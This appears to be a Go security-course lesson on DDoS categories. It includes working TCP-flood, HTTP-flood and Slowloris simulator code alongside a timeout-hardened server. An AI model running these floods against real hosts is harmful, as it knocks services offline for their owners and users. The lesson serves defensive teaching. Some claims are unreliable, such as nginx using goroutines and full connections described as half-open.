Day 91 — DDoS Taxonomy & Attack Simulation
|
|
| Learning objective |
Understand the four DDoS categories and what mitigation each requires |
| Key packages |
net, net/http, time, sync |
| Security context |
OWASP A05 — Security Misconfiguration; knowing attack types prevents deploying the wrong mitigation |
Key Concepts
DDoS attack categories:
| Category |
Mechanism |
Go-side impact |
Primary defense |
| Volumetric |
Saturate bandwidth (Gbps) |
Cannot defend at app layer |
Upstream scrubbing (Cloudflare, AWS Shield) |
| Protocol |
SYN flood, connection exhaustion |
net.Listen backlog fills; Accept goroutines starve |
Per-IP connection limits, TCP syncookies |
| Application |
HTTP flood, slowloris, slow POST |
Goroutine/memory exhaustion |
Rate limiting, request timeouts |
| Amplification |
UDP reflection (DNS, NTP, memcached) |
Your service weaponized against others |
Response size cap, per-IP rate limits |
Exercise — Attack Pattern Simulators (localhost only)
package main
import (
"context"
"fmt"
"net"
"net/http"
"sync"
"time"
)
// 1. TCP Connection Flood — open many connections, send no data
func simulateTCPFlood(target string, count int) {
var wg sync.WaitGroup
conns := make([]net.Conn, 0, count)
var mu sync.Mutex
for i := 0; i < count; i++ {
wg.Add(1)
go func() {
defer wg.Done()
conn, err := net.DialTimeout("tcp", target, 2*time.Second)
if err != nil {
return
}
mu.Lock()
conns = append(conns, conn)
mu.Unlock()
// Hold the connection open — simulate half-open
time.Sleep(30 * time.Second)
conn.Close()
}()
}
time.Sleep(2 * time.Second)
fmt.Printf("TCP flood: opened %d connections to %s\n", len(conns), target)
wg.Wait()
}
// 2. HTTP Flood — maximum request rate
func simulateHTTPFlood(target string, rps int, duration time.Duration) {
client := &http.Client{Timeout: 5 * time.Second}
ctx, cancel := context.WithTimeout(context.Background(), duration)
defer cancel()
var sent, errs int64
var mu sync.Mutex
sem := make(chan struct{}, rps) // bound concurrency to target RPS
ticker := time.NewTicker(time.Second / time.Duration(rps))
defer ticker.Stop()
for {
select {
case <-ctx.Done():
mu.Lock()
fmt.Printf("HTTP flood: %d requests sent, %d errors\n", sent, errs)
mu.Unlock()
return
case <-ticker.C:
sem <- struct{}{}
go func() {
defer func() { <-sem }()
resp, err := client.Get(target)
mu.Lock()
defer mu.Unlock()
if err != nil {
errs++
return
}
resp.Body.Close()
sent++
}()
}
}
}
// 3. Slowloris — send headers one byte at a time
func simulateSlowloris(target string, connCount int) {
// Parse host/port
host, port := "127.0.0.1", "8080"
_ = host
_ = port
var wg sync.WaitGroup
for i := 0; i < connCount; i++ {
wg.Add(1)
go func(id int) {
defer wg.Done()
conn, err := net.DialTimeout("tcp", target, 2*time.Second)
if err != nil {
return
}
defer conn.Close()
// Send partial HTTP request — real headers drip in slowly
conn.Write([]byte(fmt.Sprintf("GET /?id=%d HTTP/1.1\r\nHost: localhost\r\n", id)))
// Drip one byte per second — Slowloris pattern
headers := []byte("X-Slow: ")
for j := 0; j < len(headers); j++ {
time.Sleep(1 * time.Second)
conn.Write(headers[j : j+1])
}
// Never send the final \r\n\r\n — connection stays open
time.Sleep(30 * time.Second)
}(i)
}
wg.Wait()
}
// DefendedServer demonstrates basic defenses against each attack type
func DefendedServer() *http.Server {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("OK"))
})
return &http.Server{
Addr: ":8080",
Handler: mux,
ReadHeaderTimeout: 5 * time.Second, // Slowloris defense
ReadTimeout: 30 * time.Second,
WriteTimeout: 30 * time.Second,
IdleTimeout: 60 * time.Second,
MaxHeaderBytes: 1 << 16, // 64KB header limit
}
}
Real-World Context
- Slowloris killed Apache servers at PyCon 2009. nginx and Go servers are both resistant because they use goroutines per connection rather than one thread per connection — but goroutines still consume memory.
- SYN flood is handled by the OS with
tcp_syncookies on Linux. Your Go code needs to limit connections after Accept, not prevent Accept from being called.
- HTTP flood is the most dangerous for Go services. Each request gets a goroutine. 100k req/s = 100k goroutines if your upstream is slow.